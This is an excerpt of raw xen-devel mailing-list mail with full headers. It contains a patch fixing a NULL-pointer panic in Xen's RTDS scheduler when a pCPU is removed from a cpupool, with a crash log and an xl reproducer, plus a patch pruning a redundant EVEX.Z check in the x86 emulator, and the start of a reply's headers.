 <f4b75c23400b1a9db44596a28ca9683dbf05d419.1784288688.git.oleksii_moisieiev@epam.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: PA6PR03MB10266:EE_|AS8PR03MB6949:EE_
x-ms-office365-filtering-correlation-id: 4e6edfd0-305c-4aa4-0ecf-08dee3f8d70a
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|38070700021|10067099003|56012099006|18002099003|11063799006;
x-microsoft-antispam-message-info:
 VUogzEupJaadcyg6u5WwmQWshOrUmn/Rp2gMf9wPjA8UfDv4idTKKguGAYFmmR6D2IAQOyq9j5nOOP5kb4xR23akFYgx5YTiFu0rrXf1/FIDO2onoPur/Tv+RKyawFH7mBgDkUaIdg7V6wraTKpi0+X63cjcx5JstaAqglzeeEwcCpaToFZwi5CdsAfGj/X10ppH821JXbKES6jGu1LWK0JatJIt4tsiz4MlEQsoULuc0A379E1okaliBbSA1HTPPNNTd47ve21MzCythXtyorSOnuvXhjYyujIojr/agMLM4aOUwy8kANilqfMGSi2LJgCAy1jbZop640uB7t1iajjMX6VNgLzJGKO/loFoElijn26a2xzzIWFEBwCSrxzhySKzYY7xnKULa+GchEMT8MZjCGEf/G/Fs+8o6ph/immsDP968mA4RNacO4Z6OhpCnGadVwYwTj5zPKF55T1p6x7mv4L/Saz+jGI2/uO/c7bE6Dwv1IcId2Rea8cEVa7/XtxcK3n2wiaq+sJrA968eQSJWnxdsu3rmuqKNZoICfY2MPiHawRXaT602pJz7bhS2+oIWnnRsjP5zUDEPudH63wesA4cyPrDATz3a+DZkwexIRtConyQsKpVvMjBHN2EnXPUgWZfIg/3snx2z2OnV4/CWQ8kDwmArvJ2bed482odCCCVHoDDYGNcrSXHhDLmUcu/xu0TbgpPjEu66zxwOYlyM0nE2jOAA6YJGllk+EE=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:PA6PR03MB10266.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(38070700021)(10067099003)(56012099006)(18002099003)(11063799006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?TYecYWQ3FZAgLPyRst8ULGDcRC1ZA9LLG9lBxo9y5rvXi4G4fyw2ROVFb+?=
 =?iso-8859-1?Q?aH2w181F7I/mS+whj2CGuVH66nbez4h2OOvdO7RDLOWZgATBZnaIkUVL7H?=
 =?iso-8859-1?Q?UgjoPPaD1zFeyEAnwfdIHrAmUnqpK6/9QWnE8ygL96uZqCg8OqZ4S6Z1Wz?=
 =?iso-8859-1?Q?d/RGxuX0u/AXV4XqJILrYk+1RcajRWi3zKaDNfTFkJHgaReh7W54N9tYb2?=
 =?iso-8859-1?Q?mtcbKn8XhtnQmCDH8JB3rZrTbSbyV0dtoY60FC23ItU1hB5VZKuEU3w9i1?=
 =?iso-8859-1?Q?2Tz5pMIBZenvvXVObuXGgKMuGkX8h/5rdrfAh4TUFRE7mxs63aluxqq+AV?=
 =?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Q?M/jL86w6Ibikdrx6ToTxriKGIUBYiIRnxC9/9xhKQOTwV0CkZ0mPz37UYj?=
 =?iso-8859-1?Q?BPHL+aFq4oWJxCTBDNnV4VzXHlpqD9CtFDrgyQRZia0dCW/Xdud3aK87nb?=
 =?iso-8859-1?Q?4ai1cYH7TjheXudAZg3r2PKfRjdmSYI/ex55M60sEOr9Iee+YWRw1Dk0S9?=
 =?iso-8859-1?Q?p/tBCS5vexOFzZU7q0TKIoP9Aa0jMCV6/mYfBhbrH/j5Vkt4Pj1ZIQctIF?=
 =?iso-8859-1?Q?XXKUGpmAS2gjx4hkU0FHks3d2YkKeU+eYAyJFQPPtRlO+9mVkNQ/6a7foK?=
 =?iso-8859-1?Q?CpIQBqHFQOVOkoeUUwye2tiFlVEl8WEJLasz/cTcVMVXwtdClF4PtT/Exe?=
 =?iso-8859-1?Q?RhqSlbt7FvT+up22kSRDwAL0u1IzWNJ56lzUqUPfPXiibolwEoKxPlzrJ7?=
 =?iso-8859-1?Q?ulyz++90mn5JrEn4nmA7GNcg/xgtuuSz25s+X/ta6ZMu8UH0RO1UW4ReDu?=
 =?iso-8859-1?Q?Gf1lQunX9GkQW7KZS0rZaJjkPmlwEb63d3hiz1JCnjX8PcmDlwVXpPAWPQ?=
 =?iso-8859-1?Q?9ap2nVCC3tDlYLqdrEJ9GbcxLd7BoYCKF72F+jxoFe9pH7hs9lu/U4VE3g?=
 =?iso-8859-1?Q?6lLDQCrcMd3pDIAj1lkKpbqaFIWDInk=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: PA6PR03MB10266.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4e6edfd0-305c-4aa4-0ecf-08dee3f8d70a
X-MS-Exchange-CrossTenant-originalarrivaltime: 17 Jul 2026 11:45:03.1675
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: C9/VBiPjEcUwC2dUO/uopyNtgEzykaPNHBqEFBkT+0uMqOloqbm6Nt4uwt3+wylLTpm01Ju/vuTszDYU8CTuOeHwRx5fss96dSktEgVK2Zg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB6949
X-purgate-ID: tlsNG-c201ff/1784288708-F7ABF2A1-69EC98EC/0/0
X-purgate-type: clean
X-purgate-size: 4094

schedule_cpu_rm() clears the cpupool pointer of the scheduling
resource before calling sched_deinit_pdata():

    sr->cpupool =3D NULL;
    ...
    sched_deinit_pdata(data->old_ops, data->ppriv_old, cpu);

For RTDS, rt_deinit_pdata() calls move_repl_timer() when the
replenishment timer lives on the cpu being removed, and
move_repl_timer() dereferences get_sched_res(old_cpu)->cpupool
without checking it for NULL. Removing a pCPU owning the timer from
an RTDS cpupool therefore dereferences NULL + 0x10 (the res_valid
member) and panics:

    (XEN) Data Abort Trap. Syndrome=3D0x1c28005
    (XEN) Walking Hypervisor VA 0x10 on CPU0 via TTBR ...
    (XEN) Xen call trace:
    (XEN)    [<...>] find_next_bit+0x74/0xa8 (PC)
    (XEN)    [<...>] rt.c#move_repl_timer+0xb8/0xec (LR)
    (XEN)
    (XEN) Panic on CPU 0:
    (XEN) CPU0: Unexpected Trap: Data Abort

Reproducer, on any host with at least 2 pCPUs and RTDS compiled in
(observed on arm64, but the path is common code):

    xl cpupool-create name=3D"test" sched=3D"rtds"
    xl cpupool-cpu-remove Pool-0 1
    xl cpupool-cpu-add test 1
    xl cpupool-cpu-remove test 1

The last command moves the RTDS replenishment timer to cpu1 (first
and only cpu of the pool) and then removes cpu1, hitting the NULL
dereference in the sched_deinit_pdata() callback.

Use the cpupool back-pointer of the scheduler instead of the one of
the scheduling resource. It is set by cpupool_create() before any
pCPU can be assigned to the pool and stays valid for the whole
lifetime of the scheduler, so it is still available when
rt_deinit_pdata() runs. Other schedulers already rely on it the same
way, e.g. credit2 in cpu_add_to_runqueue().

Fixes: b6f5334aeaca ("sched: fix cpu offlining with core scheduling")
Signed-off-by: Oleksii Moisieiev <oleksii_moisieiev@epam.com>
---

Changes in v2:
- Do not kill the replenishment timer when the cpupool still owns other
pCPUs.
- struct scheduler already back-pointer that could be used
(see 524cc89c288b "xen: cpupool: add a back-pointer from a scheduler to its=
 pool").

 xen/common/sched/rt.c | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/xen/common/sched/rt.c b/xen/common/sched/rt.c
index f1feb4384e..3896814dfd 100644
--- a/xen/common/sched/rt.c
+++ b/xen/common/sched/rt.c
@@ -764,10 +764,16 @@ rt_switch_sched(struct scheduler *new_ops, unsigned i=
nt cpu,
     return &prv->lock;
 }
=20
-static void move_repl_timer(struct rt_private *prv, unsigned int old_cpu)
+static void move_repl_timer(const struct scheduler *ops, unsigned int old_=
cpu)
 {
-    cpumask_t *online =3D get_sched_res(old_cpu)->cpupool->res_valid;
-    unsigned int new_cpu =3D cpumask_cycle(old_cpu, online);
+    struct rt_private *prv =3D rt_priv(ops);
+    /*
+     * Use the cpupool of the scheduler: the one of the scheduling resourc=
e
+     * is already cleared when this is called from rt_deinit_pdata().
+     */
+    const struct cpupool *c =3D ops->cpupool;
+    unsigned int new_cpu =3D c ? cpumask_cycle(old_cpu, c->res_valid)
+                             : nr_cpu_ids;
=20
     /*
      * Make sure the timer run on one of the cpus that are still available
@@ -794,7 +800,7 @@ rt_deinit_pdata(const struct scheduler *ops, void *pcpu=
, int cpu)
     spin_lock_irqsave(&prv->lock, flags);
=20
     if ( prv->repl_timer.cpu =3D=3D cpu )
-        move_repl_timer(prv, cpu);
+        move_repl_timer(ops, cpu);
=20
     spin_unlock_irqrestore(&prv->lock, flags);
 }
@@ -812,7 +818,7 @@ rt_move_timers(const struct scheduler *ops, struct sche=
d_resource *sr)
     if ( prv->repl_timer.status !=3D TIMER_STATUS_invalid &&
          prv->repl_timer.status !=3D TIMER_STATUS_killed &&
          !cpumask_test_cpu(old_cpu, sr->cpupool->res_valid) )
-        move_repl_timer(prv, old_cpu);
+        move_repl_timer(ops, old_cpu);
=20
     spin_unlock_irqrestore(&prv->lock, flags);
 }
--=20
2.43.0

base-commit: dc4342ccd35a8f3fcc8832885453a08179cd0ccf
branch: amoi_sched_7=


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 14:06:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 14:06:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365004.1615800 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkjCt-0007QG-M7; Fri, 17 Jul 2026 14:06:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365004.1615800; Fri, 17 Jul 2026 14:06:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkjCt-0007Q9-JP; Fri, 17 Jul 2026 14:06:27 +0000
Received: by outflank-mailman (input) for mailman id 1365004;
 Fri, 17 Jul 2026 14:06:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkjCs-0007Q3-4P
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 14:06:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkjCr-002XD9-6Z
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 16:06:25 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5a36df-bab6-0a2a0a5309dd-0a2a4505a258-2
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 16:06:25 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5a36e0-4cb1-0a2a45050019-d155dd34c809-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 16:06:25 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-475417f010dso4235610f8f.2
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 07:06:24 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eeb360sm4210830f8f.34.2026.07.17.07.06.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 17 Jul 2026 07:06:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784297184; x=1784901984; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=cyz/pOWmvDaPM3OJ65I6Hf+HbW3t+LcOA3wb/2W+hKU=;
        b=F3hnZj/2E1VNySOahApDYiPTxC/v3UtDNc5JLKDYzBSWDI8DqQxxA5QqaqI/EgfH+l
         GL+U1RBXbI7eegGeyCecPJqkC6eQryT12B1uy4DM1ITiAYFxOv5hbMbM+Fthkom1Bw6j
         58GMcYTSndS/By/8Cu0OSXY3NFUn+cEeDtZQrFQMqFt76lCtnD/8BtX+ieep/iXYhUHC
         AnB9mZAjkiDvyRI1gqib/Toep6z35T3w0kBF9KepFNod8lEBhpoOedKefyfaQL2qHhHT
         bHca4g6aKlru/HcJJTCajgVd27o7bnmCJnB4LBDVKy01MZ3r2wvYux17cw/U4FbnSf7m
         55QA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784297184; x=1784901984;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=cyz/pOWmvDaPM3OJ65I6Hf+HbW3t+LcOA3wb/2W+hKU=;
        b=NeTFWnefy+0kplL4lcvLHtXp3M1/YYN1KnBMr5SIV5WJhjinOSKMkqqFdHh7rqbH2O
         ZjtfVURzl1yvkt3XTXRjYxgqJ/+16cZtrw13KXxAZI+Jfmsx57NfVQUZb1XhEz32ppVm
         5kNsGT+Q/TSbFXFBb9HxblpWHaWWo7cRZ9usGk3h/zoG9oNVmiM5TosAC9sqz63YC0kF
         HgI0kpvuGoTI8nMEASOYyFpE90suWg+LuQGNYiKLOlLZSqiRW4rSCx2SnT46z3Kzz51v
         PQr7pDYNsh7xF7h8MamH4BRQA304fKJZ9DiNiKPnZA4zLqR+BaYdj4GeoaXSJXy0nJPq
         hWaQ==
X-Gm-Message-State: AOJu0YwUnT306gjnpsUgutqWsQUJeA3Nx8cYc9sgqiOBAGbMtHI2lIn6
	eLU7vZeZm8rlHiwfjBYFoJXaLXakjY5wPLVawsKkmLRAvZB4U15ZpD4HbZU57Ei8+1vshcOURTq
	zb76qkg==
X-Gm-Gg: AfdE7cl5I86rG8Yl7hLcZ6CJdE1eCewpgsJg71IlphXIzXSt9q7ySIp58eBpabL/Du6
	gXXrfTq8S7+uhUx3Eo37T8mkCYFvTnJOO4NhKXcIRPLgbe6a7cXh+zcSIDFpW8oIz662b4HYivD
	3r3CpfCl0qbtTnJA0OsO3kSQxI1NSTB50ht6kTtHYQM/Oobgzd7fIgUskCjVXHJuXc6LWz+Ndi7
	miiLGCCdt7V3DDzV30RYCxMvCV0WoEs0jvb42EVU7Yb7klogpaiom2jDgP0dPlf9n3kMXkfxUx6
	BunpXOSxW45Jsve5+ZzUWMqxWZkPU1PHGAcwlAW2jHG3Gx83fmGURUOZXe0ZqGQWGuc5DARsh3v
	eam844ha18EkdSIdDPwqN7/eV59m4Qz5QzTXKgiX33zabHK+G09veMqzYprIWqqQdtBax0bjZcG
	u0CnTCF1zPEAmv5Xc+HNxXkbPgz2/ioSHbITYoYP+mylVZdaw8GGcslGnDPrqIezMZ1U3nH0AzU
	VdC
X-Received: by 2002:a5d:5f94:0:b0:47f:5289:d5e1 with SMTP id ffacd0b85a97d-47f62337871mr3489042f8f.37.1784297184419;
        Fri, 17 Jul 2026 07:06:24 -0700 (PDT)
Message-ID: <0c34b3d1-2567-4d08-811b-12f9d49f95d7@suse.com>
Date: Fri, 17 Jul 2026 16:06:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86emul: prune an excess EVEX.Z check
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784297185-F78BE2A1-5923A729/0/0
X-purgate-type: clean
X-purgate-size: 870

DstMem processing early in x86_emulate() raises #UD when EVEX.Z is set
with a memory destination. Open-coded checks like this one are therefore
dead / unreachable code, violating Misra rules.

Fixes: 4037a62ef93e ("x86emul: support AVX512F floating-point conversion insns")
Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -7348,7 +7348,7 @@ x86_emulate(
         if ( evex_encoded() )
         {
             generate_exception_if((evex.w || evex.reg != 0xf || !evex.RX ||
-                                   (ea.type != OP_REG && (evex.z || evex.brs))),
+                                   (ea.type != OP_REG && evex.brs)),
                                   X86_EXC_UD);
             host_and_vcpu_must_have(avx512f);
             avx512_vlen_check(false);


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 15:05:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 15:05:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365044.1615809 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkk7O-00072T-Kk; Fri, 17 Jul 2026 15:04:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365044.1615809; Fri, 17 Jul 2026 15:04:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkk7O-00072M-IB; Fri, 17 Jul 2026 15:04:50 +0000
Received: by outflank-mailman (input) for mailman id 1365044;
 Fri, 17 Jul 2026 15:04:49 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wkk7M-00072G-Q7
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 15:04:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkk7L-000mDX-Vw
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 17:04:48 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5a447a-2eae-0a2a0a5409dd-0a2a4509c118-26
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 17:04:47 +0200
Received: from [40.93.194.49]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5a448c-be1a-0a2a45090019-285dc231838f-4
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 17:04:47 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by DS7PR03MB5445.namprd03.prod.outlook.com (2603:10b6:5:2d0::16) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 15:04:43 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 15:04:43 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wKY5ycWTrQ1Uf4w5rqN+Dj9o/P3OWxK+2xBhE+ZFOZsdfu1Bu0RGAXtypUKFillT8PYtfFOW4O9nlSVpKEcqLHwSSYWthNRhmaJuV0fJWOFEztnmjmdmIWaxRv40/ToCvLxSvueZSJ/Go7euBksLG4DTAgsBSu9/BRvSxDn8mWIoZ4nZOCFp0y29KQ75klU2I/LtvgSG1FYc2ngv+Uk2Vj/NTiEHTH5HRkdvaePJeEVET3ib1duiYEJl2ymijBZbkD1DWnVOpclSA0/MlirPS2/aFL5RSop7X/Pkznzl9ExYtRWCaXc1PLa5Luee+xhTFkZiCR1mq73bKfIiAXGZyg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=u3SyvnGxON+b6qsToVEcnXygIlDvxyCiA0086aD1uAA=;
 b=THeywpWeREJyuRBtVbZBXsArJCmiDHQV2OBynGvq/+PV+NF2LpM4bjdsGDEjEtk9NKUaqfZ+AekDoQ3iAwRnJfr2z968x7mOUK61xjogHHAdAezyN2YpTTn7iSOeFgTYLs/4oTc9y5xJaq4qo0sMiXzDO1snazTDS/LweeByUXQZCmOhaF7Ftd6izX9ELpk5QkQJnMfjVFJs7afEq+B7nyUzDcShG8NWKt0d3LqVKX+SqQsU5yc9HQq2wXRxG+41MJJRwqBahPYUjKPFXkCF/JPtJS++YPIOHRTJ7RTcDotkP1FSgDy7SO8OgE/BO3OKnjRUOOaS0PbhuO2yvbvnTQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=u3SyvnGxON+b6qsToVEcnXygIlDvxyCiA0086aD1uAA=;
 b=swehtdQ4HDH+Rr5ie5kP5D1h6bISAEvCZcdPh0oxmVJA27lyg1QJaluNNhszZe2pHv2EiDd4fuS2OfDrV511pbvtl8gSGWTFhfvfHOOdZmqy0g6iakIysx59Ujeu3zlnXp92kzKzUMiTE4w6EekvXvfuCeBVb2/c2FtM+cBVNHw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <af1ddaff-22b0-47d1-8aee-0fc994417e57@citrix.com>
Date: Fri, 17 Jul 2026 16:04:39 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Paul Durrant <paul@xen.org>,
 Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v4] x86/hyperv: use dynamically allocated page for
 hypercalls
To: Ariadne Conill <ariadne@ariadne.space>, xen-devel@lists.xenproject.org
References: <20260716183502.21075-1-ariadne@ariadne.space>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
